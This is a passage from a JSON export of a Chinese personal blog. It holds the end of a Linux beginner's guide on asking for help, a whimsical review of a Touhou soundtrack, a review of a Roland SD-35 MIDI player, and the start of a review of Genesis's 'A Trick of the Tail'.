src=\"https://s2.loli.net/2022/08/01/HYOXzIBN4kWM1eU.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"他想装一个软件,卡在这里了\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e他想装一个软件,卡在这里了\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e看到那行E了吗,那个就是报错输出。他报错说,仓库没有找到Release文件。\u003cbr\u003e\n这样,会修的就知道怎么修了,不会修发给别人,他也能快速帮助你。他的问题是没有完整添加软件源,导致系统不知道跑哪里下载软件安装包。\u003c/p\u003e\n\u003ch3 id=\"怎么提供信息\"\u003e怎么提供信息\u003c/h3\u003e\n\u003cp\u003e有些时候,上网搜也搜不到解决方案,这时我们就需要求助于人了。对于初学者来说,这很正常。\u003cbr\u003e\n为了节省双方的时间,请各位在上网实在找不到解决方案的时候,再去求助他人。在询问问题的时候,请尽量提供详细的信息。\u003cbr\u003e\n比如,你的输入法没有拼音输入,你应该提供你系统的截图和设置选项。这比直接问“我的输入法没法输入中文”好多了。\u003c/p\u003e\n\u003ch3 id=\"不要过于依赖别人\"\u003e不要过于依赖别人!\u003c/h3\u003e\n\u003cp\u003e我知道对于初学者而言,有些问题搞不明白,得经常求助别人。这个很正常,我也是这么过来的。但是,解决问题后,你应该从中学到一些东西。如果你一直停留在出现问题-询问问题-解决问题的惯性中,你很难学的好。所以,不要过分依赖他人!要学会自己解决问题,逐渐学到更多。而且,人都是有七情六欲的,你一直问,会把人问烦的。\u003c/p\u003e\n\u003ch2 id=\"为什么我不推荐大家使用linux当作日常系统\"\u003e为什么我不推荐大家使用Linux当作日常系统\u003c/h2\u003e\n\u003cp\u003e嘿嘿嘿,看完了是不是很迷糊,那就快跑!\u003cbr\u003e\n记住这些,一定要让那些冲动的人们不要踏进来!\u003c/p\u003e\n\u003ch3 id=\"专业软件太少\"\u003e专业软件太少\u003c/h3\u003e\n\u003cp\u003e举两个例子:我高二的时候,有一会需要剪视频,使用Openshot,结果用起来没有Premiere方便不说,还经常崩溃,我被迫装回Windows,使用Premiere。然后是我刚买来新手机的时候,我刷机失败,需要救砖。但是救砖软件是Windows独占,在我用虚拟机救砖失败后,我被迫装回Windows来救砖。\u003cbr\u003e\n所以说,如果你有十分专业的需求,比如剪视频、重度办公、机床控制、3D游戏之类的话,Linux并不适合你。\u003c/p\u003e\n\u003ch3 id=\"社区风气极差\"\u003e社区风气极差\u003c/h3\u003e\n\u003cp\u003e我最后为啥要给各位介绍如何优雅问问题/上网搜资料呢?因为Linux社区对小白很不友好。这里直接贴上《提问的智慧》的最后一段:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e如何更好地回答\u003cbr\u003e\n态度和善一点。问题带来的压力常使人显得无礼或愚蠢,其实并不是这样。\u003cbr\u003e\n对初犯者私下回复。 对那些坦诚犯错之人没有必要当众羞辱,一个真正的新手也许连怎么搜索或在哪找 FAQ 都不知道。\u003cbr\u003e\n如果你不确定,一定要说出来! 一个听起来权威的错误回复比没有还要糟,别因为听起来象个专家好玩就给别人乱指路。要谦虚和诚实,给提问者与同行都树个好榜样。\u003cbr\u003e\n如果帮不了忙,别妨碍。 不要在具体步骤上开玩笑,那样也许会毁了用户的安装──有些可怜的呆瓜会把它当成真的指令。\u003cbr\u003e\n探索性的反问以引出更多的细节。 如果你做得好,提问者可以学到点东西──你也可以。试试将很差的问题转变成好问题,别忘了我们都曾是新手。\u003cbr\u003e\n尽管对那些懒虫报怨一声“读读该死的手册”(RTFM)是正当的,指出文档的位置(即使只是建议做个谷歌关键词搜索)会更好。\u003cbr\u003e\n如果你决意回答,给出好的答案。 当别人正在用错误的工具或方法时别建议笨拙的权宜之计,应推荐更好的工具,重新组织问题。\u003cbr\u003e\n帮助你的社区从中学习。当回复一个好问题时,问问自己 “如何修改相关文件或 FAQ 文档以免再次解答同样的问题?”,接着再向文档维护者发一份补丁。\u003cbr\u003e\n如果你是在研究一番后才做出的回答,展现你的技巧而不是直接端出结果。毕竟“授人以鱼,不如授人以渔”。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e在我们的社区,这样的人很少,而且我去Bilibili上面看了,很多都是炫技/营销号:-P\u003cbr\u003e\n希望大佬们好好看看这里吧。\u003c/p\u003e\n\u003ch3 id=\"这是幽幽子使用的系统\"\u003e这是幽幽子使用的系统\u003c/h3\u003e\n\u003cp\u003e这个无需多言,我们凡人使用了她用过的系统,岂不是要折寿?\u003cbr\u003e\n摘自zh.moegirl.org:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e幽幽子平时使用Debian GNU/Linux,因为天冠上的标志与Debian GNU/Linux极为类似。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e以此类推,灵梦用的是Ubuntu,魔理沙使用的就是Arch Linux了吧233\u003c/p\u003e\n\u003ch2 id=\"推荐读物\"\u003e推荐读物\u003c/h2\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://www.github.com/ryanhanwu/How-To-Ask-Questions-The-Smart-Way/blob/main/README-zh_CN.md\" target=\"_blank\" rel=\"noopener\"\n \u003e提问的智慧\u003c/a\u003e\u003cbr\u003e\n\u003ca class=\"link\" href=\"https://lvris.com/p/resource-search/\" target=\"_blank\" rel=\"noopener\"\n \u003e由书名号同志编写的资源搜索指南\u003c/a\u003e\u003cbr\u003e\n\u003ca class=\"link\" href=\"https://wiki.archlinux.org/\" target=\"_blank\" rel=\"noopener\"\n \u003eArch Linux Wiki\u003c/a\u003e\u003cbr\u003e\n\u003ca class=\"link\" href=\"https://www.vbird.org/\" target=\"_blank\" rel=\"noopener\"\n \u003e鸟哥的私房菜\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"结尾\"\u003e结尾\u003c/h2\u003e\n\u003cp\u003e感谢大家阅读,希望这个文章能帮助大家适应Linux。我提到的很多东西,在Windows下也适用呢。\u003c/p\u003e\u003chr /\u003e","url":"https://www.superbart.top/p/linux-in-quick-run.html"},{"title":"The Embodiment of Scarlet Devil专辑推广材料","time":"2021-11-05T00:00:00Z","content":"\u003cimg src=\"https://s2.loli.net/2022/08/01/IiZ6PgFa1C73SnX.jpg\" alt=\"Featured image of post The Embodiment of Scarlet Devil专辑推广材料\" /\u003e\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\u003cdiv class=\"video-wrapper\"\u003e\r\n \u003ciframe src=\"https://player.bilibili.com/player.html?as_wide=1\u0026amp;high_quality=1\u0026amp;page=1\u0026bvid=BV1Wq4y1f7h7\"\r\n scrolling=\"no\"\r\n frameborder=\"no\"\r\n framespacing=\"0\"\r\n allowfullscreen=\"true\"\r\n \u003e\r\n \u003c/iframe\u003e\r\n\u003c/div\u003e\r\n\n\u003cp\u003e本人最近被一群可爱的女孩子找上门来,称自己叫Gensokyo Band,想让我发行一张专辑。我说:我又不是音乐厂商,为啥要找我呢?她们说我肯定识货,直接把母带给我,然后就走了。母带上面写着:The Embodiment of Scarlet Devil。抱着怀疑的心态,我把母带放入了机器里面听,兴许是某种King Crimson首专的仿制品。\u003c/p\u003e\n\u003cp\u003e然而,一开始的感觉并不是这样。这张专辑貌似十分的舒缓,钢琴的声音也很明亮。后面的基本也是这样,钢琴和电子琴一直是最主要的乐器,还有十分抓人耳朵的小号。演奏的很多旋律,都有一种说不上来的熟悉感和陌生感。但是摇滚的特征也很多,比如很多地方快速的吉他演奏,就跟Hackett在Hogweed那首歌开始部分的吉他演奏一样,让人印象深刻。而电子琴高昂的旋律,跟Jon Lord的电子风管琴一样,推动了音乐节奏的发展。怎么说呢,我觉得对于听多了ELP那种表面很好听,实际很古板的音乐之后,突然给我这种难以解释的音乐,还真的很难形容。\u003c/p\u003e\n\u003ch2 id=\"目录\"\u003e目录\u003c/h2\u003e\n\u003cp\u003e整张专辑主要分为四个部分:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e1. 标题曲: A Dream that is More Scarlet than Red\n第一部分:湖面上一缕清晨的阳光:\n 2. A Soul as Scarlet as a Ground Cherry\n 3. Apparitions Stalk the Night\n 4. Lunate Elf\n 5. Tomboyish Girl in Love\n第二部分:思绪万千的女孩子:\n 6. Shanghai Scarlet Teahouse ~ Chinese Tea\n 7. Shanghai Alice of Meiji 17\n 8. Voile, the Magic Library\n 9. Locked Girl ~ The Girl's Sealed Room\n第三部分:打工人忙碌的一天:\n 10. The Maid and the Pocket Watch of Blood\n 11. Lunar Clock ~ Luna Dial\n第四部分:绯红恶魔的出现:\n 12. The Young Descendant of Tepes\n 13. Septette for a Dead Princess\n 14. The Centennial Festival for Magical Girls\n 15. U.N. Owen Was Her?\n16. 结束曲:An Eternity More Transient than Scarlet\n17. 回响曲:Scarlet Tower ~ Eastern Dream...\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch2 id=\"第一部分1-5\"\u003e第一部分(1-5)\u003c/h2\u003e\n\u003cp\u003e第一部分主要是十分舒缓的节奏,像许多田园那样十分清爽。这部分的歌曲节奏十分鲜明。第二首和第四首应该是4/2拍,是进行曲那样的节奏。这样的节奏,代入的话,就是一种吸引人们过来欣赏,然后让人呆住听的感觉。除了第三首外,这一部分的鼓声也很鲜明,和跳跃的贝斯配合,像是一个人走在丛林里面探险。我觉得在某种意义上,算是把小号渲染环境的风头给抢去了。第三首我觉得有点平平了,开头像是注册机音乐:-P\u003c/p\u003e\n\u003ch2 id=\"第二部分6-9\"\u003e第二部分(6-9)\u003c/h2\u003e\n\u003cp\u003e第二部分最明显的特征是节奏的逐渐加快和旋律的加重。这里的“加重”,是指旋律逐渐变得很空广,给人一种开阔的感觉,没有第一部分那样的舒缓了。很明显,这是合成器的功劳,流行音乐很喜欢那种开阔的音乐。从Bee Gees 1st到ABBA,再看看Whenever You Need Somebody和吻别之类的, 在垃圾电音之前,很多流行歌曲都是这样的。这里有个例外,就是第八首,大致是回到了第一部分那样的舒缓和探索风格了。由于第九首结构十分复杂,并且很有史诗的味道,所以第八首这么处理,有点“大的要来了”那种感觉。\u003cbr\u003e\n还记得一开始说的快速吉他演奏吗?这就是第九首一开始的样子。这首音乐结构复杂,让我想到了很多我听过的曲子。干脆给个结构,你们各位自己联想吧:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e开始的合奏 \u0026ndash;\u0026gt; Deep Purple: Gypsy\u0026rsquo;s Kiss 开始部分 \u0026ndash;\u0026gt;\nGenesis: Return of Giant Hogweed 快速Riff \u0026ndash;\u0026gt; King Crimson: Epitath 中间的和声 \u0026ndash;\u0026gt;\n开始的合奏 \u0026ndash;\u0026gt; 爵士味道的合奏 \u0026ndash;\u0026gt; 结束\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e(插一句:我没听过多少爵士乐的东西,但很多前卫摇滚专辑的爵士乐色彩都很浓吧:-P)\u003c/p\u003e\n\u003ch2 id=\"第三部分10-11\"\u003e第三部分(10-11)\u003c/h2\u003e\n\u003cp\u003e第三部分可以说是最差的部分。都是因为第十一首,我觉得就是把You Really Got Me的Riff直接搬过来用了(Deep Purple的Drifter也是,可能这是某种通用Riff?),而且十分刺耳,十分混乱,很明显混音师并没有完好地把各个乐器的占比给平衡好。第十首实际上还行吧,但前面已经有很多类似风格的歌曲了,再来一个没啥特点的类似歌曲,未免让人有点审美疲劳。你们知道听多了ELP的Karn Evil No 9之后是啥感觉吗,怎么他们花了7分钟不停地重复相同的东西呢?\u003c/p\u003e\n\u003ch2 id=\"第四部分结尾12-1516-17\"\u003e第四部分\u0026amp;结尾(12-15+16-17)\u003c/h2\u003e\n\u003cp\u003e第四部分,终于有点新的东西了。在第一部分,第二部分特点的基础上,将摇滚的节奏,爵士的味道和古典的气息融合得最好。\u003cbr\u003e\n上来第十二首,钢琴爵士的味道简直太浓了,而歌曲开始又是第一部分那样的节奏。第十三首彻底就是一个古典钢琴曲的改编,名称叫《悼念公主的帕凡舞曲》(谁知道《让我们荡其双桨》是不是借鉴了这个)。然而这个改编节奏太快,我第一时间还没反应过来,后来才回过味来,而后面的部分加上了合奏。比起原先曲子的忧伤,这个改编挺让人热血沸腾的。第十四首总体来说,有点迷幻了。开头的部分是The Doors的Strange Days,至少让我体现了那种感觉,后面的部分又回到了这张专辑一贯的爵士合奏风格:-P第十四首,可以说重金属感觉了出来,任何一个乐符都很干脆利落,有点让人喘不过气来。\u003c/p\u003e\n\u003cp\u003e那最后一首呢,我觉得很有创意。虽然是第一首的再奏,但是它使用了敲击出来的音乐,还挺让人耳目一新的。\u003cbr\u003e\n我还想插一句,最后的回响曲在这里,我觉得意义不明。\u003c/p\u003e\n\u003ch2 id=\"和in-the-wake-of-the-poseidon对位\"\u003e和In the Wake of the Poseidon对位\u003c/h2\u003e\n\u003cp\u003e我看着张专辑的编排,确实有点像King Crimson的专辑,不过是第二张,再列个表吧,列出部分曲目的对位关系:\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003eDevil\u003c/th\u003e\n\u003cth\u003ePoseidon\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003e1. A Dream that is More Scarlet than Red\u003c/td\u003e\n\u003ctd\u003eA1. Peace: A Beginning\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e2. A Soul as Scarlet as a Ground Cherry\u003c/td\u003e\n\u003ctd\u003eA2. Picture of a City\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e4. Lunate Elf\u003c/td\u003e\n\u003ctd\u003eA3. Cadence And Cascade\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e9. Locked Girl ~ The Girl\u0026rsquo;s Sealed Room\u003c/td\u003e\n\u003ctd\u003eA4. In the Wake of the Poseidon\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e10. The Maid and the Pocket Watch of Blood\u003c/td\u003e\n\u003ctd\u003eB2. Cat Food\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e12. The Young Descendant of Tepes\u003c/td\u003e\n\u003ctd\u003eB3a. The Devil's Triangle\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e13. Septette for a Dead Princess\u003c/td\u003e\n\u003ctd\u003eB3b. Merday Morn\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e14. The Centennial Festival for Magical Girls\u003c/td\u003e\n\u003ctd\u003eB3c. Hand Of Sceiron\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e15. U.N. Owen Was Her?\u003c/td\u003e\n\u003ctd\u003eB3d. Garden Of Worm\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e16. An Eternity More Transient than Scarlet\u003c/td\u003e\n\u003ctd\u003eB4. Peace: An End\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch2 id=\"总结寻人启事\"\u003e总结+寻人启事\u003c/h2\u003e\n\u003cp\u003e总体来说,这张专辑虽然说爵士味道很浓,但是无论从音乐编排,很多新颖的编排来说,前卫摇滚的因素十分的多。虽然也有少部分歌曲风格重复,审美疲劳,总体还是比ELP,Yes这样僵化的乐队好听多了。对比某个写英国内战时某个亲王的专辑来说,更是好到不知道到哪里去了。\u003c/p\u003e\n\u003cp\u003e不过,我还是不明白她们为啥找我发行。不过我既然有b站帐号,我就给放出来了,看样子反响不错。她们也没再找我,不过他们一开始给的母带上面写着他们叫有些信息,我就根据那个,根据记忆,画了她们的样貌,希望她们还能回来,找我结帐。\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/W6EmiNkFGl98LBI.jpg\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/W6EmiNkFGl98LBI.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\t\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\n\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/AGmOSclbnYzfup2.jpg\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/AGmOSclbnYzfup2.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\t\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\n\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/Bu7G9LodS8vUXwJ.jpg\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/Bu7G9LodS8vUXwJ.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\t\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e补充:有时多瞎想点东西,还是很好的呢:-)希望大家喜欢看这样的音乐评测,可能以后有些音乐专辑,我就引入她们的设定了233\u003c/p\u003e\n\u003ch2 id=\"推荐链接\"\u003e推荐链接\u003c/h2\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://zh.touhouwiki.net/wiki/%E4%B8%9C%E6%96%B9%E7%BA%A2%E9%AD%94%E4%B9%A1/%E9%9F%B3%E4%B9%90\" target=\"_blank\" rel=\"noopener\"\n \u003eTouhouwiki 上面的介绍\u003c/a\u003e\u003cbr\u003e\n\u003ca class=\"link\" href=\"https://www.bilibili.com/video/BV1Ai4y1b7LJ\" target=\"_blank\" rel=\"noopener\"\n \u003eSC-88 Pro 合成版 @pingatsky\u003c/a\u003e\u003cbr\u003e\n\u003ca class=\"link\" href=\"https://www.bilibili.com/video/BV1Wq4y1f7h7\" target=\"_blank\" rel=\"noopener\"\n \u003eSD-35 (约等于SC-55) 合成版 @SuperBart\u003c/a\u003e\u003cbr\u003e\n\u003ca class=\"link\" href=\"http://www.progarchives.com/album.asp?id=1904\" target=\"_blank\" rel=\"noopener\"\n \u003eIn the Wake of Poseidon 在 Prog Archive 上的评论\u003c/a\u003e\u003c/p\u003e\u003chr /\u003e","url":"https://www.superbart.top/p/gensokyo-band-promotion-file.html"},{"title":"Roland SD-35 MIDI 播放器评测","time":"2021-09-05T00:00:00Z","content":"\u003cimg src=\"https://s2.loli.net/2022/08/01/TerCUsW3QqVIRbh.jpg\" alt=\"Featured image of post Roland SD-35 MIDI 播放器评测\" /\u003e\u003cp\u003e我一直想要一个硬音源,所以我搞来了这台Roland SD-35 MIDI播放器。因为这是闲鱼上我所找到的最便宜,也是最具特点的Roland MIDI设备。这台机器吸引我的地方,就是其能播放软盘里的MIDI音乐。不过这个机器当音源是真的不行,不过情有可原。接下来,我给大家详细介绍这个机器。\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/TerCUsW3QqVIRbh.jpg\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/TerCUsW3QqVIRbh.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"开学才一周,桌面就很乱了:-P\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e开学才一周,桌面就很乱了:-P\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003ch2 id=\"part-1历史背景\"\u003ePart 1:历史背景\u003c/h2\u003e\n\u003cp\u003eRoland公司在1991发布了Roland SC-55 MIDI硬音源,将高品质MIDI音源给大众化了。很多游戏音乐,比如《毁灭战士》的音乐,就是用SC-55写的。之后,Roland在1993年发布了SC-55 MK II,算是一个小幅升级版。1994年则是SC-50,较SC-55 MK II砍掉了MT-32模拟功能,并且只有一个MIDI输入接口。\u003c/p\u003e\n\u003cp\u003e在1993年,SD-35 MIDI播放器问世,本质上就是SC-50,不过加了一个软盘播放器。它还有一个姐妹型号,SB-55。\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/89bCa4Rz5VlhukN.jpg\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/89bCa4Rz5VlhukN.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"上图来源:Wikipedia \u0026ldquo;Roland Sound Canvas\u0026rdquo;\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e上图来源:Wikipedia “Roland Sound Canvas”\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003ch2 id=\"part-2作为一个midi播放器\"\u003ePart 2:作为一个MIDI播放器\u003c/h2\u003e\n\u003cp\u003e这个机器最主要的功能,就是播放MIDI文件。播放的话,有两种方式:一种是通过软盘播放,一种是通过MIDI线缆输入。它前面板上有一个软驱,插入720K软盘后,如果是空盘,它可以给格式化,如果有标准MIDI文件的话,它就会播放。另外一种,就是通过MIDI线缆,传入信号并播放,或者录制MIDI信号到软盘。\u003c/p\u003e\n\u003cp\u003e这个机器的主打功能是软盘MIDI播放和MIDI信号录制,所以这两个我就不说了。前面的使用完美,后面的我没有条件测试。而后者呢,算是这个机器的弱项。经常传输信号的时候,机器报缓存已满。根据说明书,机器由于传入太多的MIDI信号而无法处理。说明书还建议把Soft Thru关掉,因为这玩意占着资源,但这样我就听不到音乐了。我根据群友的建议,用TMIDI播放器调整了传输速率,但还是不行。这类情况在传输一些复杂的MIDI信号的时候,十分明显。\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/YA5DlKdLg8Bh9Ra.jpg\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/YA5DlKdLg8Bh9Ra.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"bFL = buffer FULL\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003ebFL = buffer FULL\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e这个机器,由于本质是SC-55,所以合成的音效嘛,就是SC-55的样子。但是这也带来了一个问题,就是对于一些面向SC-88编写的MIDI音乐,可能合成会有问题。我在用机器播放《东方红魔乡》的MIDI音乐(GS标准,面向SC88Pro编写)时,经常看到地址报错,而且有一首歌,把最后部分的长音小号给合成错了。\u003c/p\u003e\n\u003cp\u003e这个机器还有一个功能,就是GM标准和GS标准之间的转换。当然,其他的音源估计也有。这两个标准合成的音乐有些许不同,值得注意。\u003c/p\u003e\n\u003cp\u003e这台机器还有很多其他功能,诸如只播放一个通道之类,这里我就不说了,对我而言实用性不强。\u003c/p\u003e\n\u003ch2 id=\"part-3这台机器到底是用来干啥的\"\u003ePart 3:这台机器到底是用来干啥的?\u003c/h2\u003e\n\u003cp\u003e根据上面的用途和说明书上的提示,我觉得这个机器不是面向MIDI音乐编写/播放设计的,而是面向现场播放用途设计的。这里我放上该机器的后面板。\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/pJ9OcGgDfjQRNUr.jpg\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/pJ9OcGgDfjQRNUr.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"由左至右:输入电平调整 输入声音信号 输出声音信号 控制信号 输出MIDI信号 电源接口 开关\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e由左至右:输入电平调整 输入声音信号 输出声音信号 控制信号 输出MIDI信号 电源接口 开关\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e你们可以看到,这里除了MIDI接口,还有两对6.5mm接口。一对接收输入信号,一对向外输出信号。最左侧还有输入电平调节,分别是吉他,麦克风和线缆输入。可见,这个机器可以输入信号,然后和软盘音乐混合后输出。对于做Genesis那样的流行电音来说,还挺有用的呢。\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/OWZGydp3Hl2UAV1.jpg\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/OWZGydp3Hl2UAV1.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"说明书上关于输入设备的演示\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e说明书上关于输入设备的演示\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e至于为啥我前面说当音源不行,但是情有可原。一方面,这个机器要录制MIDI的话,一般接的是键盘啥的。键盘我觉得,再怎么折腾,也不会超过三个频道吧,估计它的处理能力也就这样了。另外一个方面,说明书暗示,传入MIDI信号相比软盘播放,机器得处理更多的东西,所以我觉得,可能是算力不够+缓存被砍的原因。\u003c/p\u003e\n\u003cp\u003e(还有一方面,估计我买的MIDI线很垃圾。那家的评论有一些差评,不过由于我买了这个机器,存款接近告罄,只能在这方面省钱了:-P)\u003c/p\u003e\n\u003ch2 id=\"part-4我对这台机器的看法\"\u003ePart 4:我对这台机器的看法\u003c/h2\u003e\n\u003cp\u003e虽然我买这个机器的目的是为了当音源,而这方面,机器可谓是相当不合格。但是,这个机器的特点很鲜明,还有很多的可玩性。我可以用这个机器水做很多的演示视频呢。而且这个机器涉及到了软盘,我也在Linux下体验了格式化软盘,没有某些人说的那么离谱啊。\u003c/p\u003e\n\u003cp\u003e不过既然不能当音源,我还要攒一年的钱,买一个SC-88去:-P(卖溢价二手货的都给我下地狱吧)\u003c/p\u003e\n\u003ch2 id=\"part-5相关计划\"\u003ePart 5:相关计划\u003c/h2\u003e\n\u003cp\u003e根据之前的投票结果和我的个人意愿,下期MIDI演示视频,我要用《红魔乡》的音乐演示,经由软盘播放。然后是《毁灭战士II》,经由MIDI线。可能还会用《RoTT》和《Heretic》的部分音轨出一个bug演示视频。制作方面呢,我要改MIDI,录制,画封面啥的。所以各位耐心等着吧:-P\u003c/p\u003e\n\u003cp\u003e进度视我的课程难度和我陷入不合理竞争的深度而定:-(\u003c/p\u003e\u003chr /\u003e","url":"https://www.superbart.top/p/roland-sd-35-midi-player-review.html"},{"title":"Genesis - A Trick of the Tail 听后感","time":"2021-08-15T00:00:00Z","content":"\u003cimg src=\"https://s2.loli.net/2022/08/01/ypnIZMGw6FzNAfV.jpg\" alt=\"Featured image of post Genesis - A Trick of the Tail 听后感\" /\u003e\u003cp\u003e作为前Deep Purple粉丝,现在的Genesis粉丝,如果我要给别人推荐Genesis专辑的话,我会先推荐这张专辑。因为这张专辑的旋律性好,概念性没那么强,听着没有Sell和Lamb那样,又累又难以理解。而且这张专辑的封面也很有意思,很多的人对应着专辑里的歌曲。\u003c/p\u003e\n\u003ch2 id=\"关于封面\"\u003e关于封面\u003c/h2\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/ypnIZMGw6FzNAfV.jpg\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/ypnIZMGw6FzNAfV.jpg\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\talt=\"Copyright 1976 Hignosis \u0026 C. Elgie\"\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003eCopyright 1976 Hignosis \u0026amp; C. Elgie\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e根据上网找到的内页,个人猜测:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e护士拿着灯:Entangled\u003c/li\u003e\n\u003cli\u003e猎人和下面的耗子:Sqounk\u003c/li\u003e\n\u003cli\u003e上面的月亮和下面的孩子们:Mad Man Moon\u003c/li\u003e\n\u003cli\u003e大盗和狡猾的绅士:Robbery, Assault and Battery\u003c/li\u003e\n\u003cli\u003e照镜子的巫婆:Ripples\u0026hellip;\u003c/li\u003e\n\u003cli\u003e恶魔和指着他的人:A Trick of the Tail\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"关于歌曲\"\u003e关于歌曲\u003c/h2\u003e\n\u003cp\u003e这张专辑的旋律性很突出,尤其突出显示在Mad Man Moon和Entangled这两首歌中。\u003c/p\u003e\n\u003cp\u003eMad Man Moon中,Tony Banks模拟的笛声很快就能抓住我们的耳朵,而且十分婉转,基本贯穿了整首歌。虽然我没太注意歌词唱的是什么,但是这个歌曲能让我想象出一个不知为何,有一点伤心的人。Tony Banks的旋律一直是Genesis音乐在前卫摇滚时期的卖点。包括Trespass里的Vision of Angles,Lamb里的Carpet Crawl,后面Wind And Wuthering里的One for the Vine,and there were three里的Buring Ropes。不过流行时期的Genesis嘛,旋律真就没有什么特点了,只剩下力度和跳舞的动力了。\u003c/p\u003e\n\u003cp\u003eEntangled中,Steve Hackett的原声吉他弹得十分干净,十分纯洁。这应该是属于民歌的曲调,充满了西方童话的特色。同样地,这个曲调也是低回婉转的,比起那些十分重型的歌曲或是某种热门单曲(@ 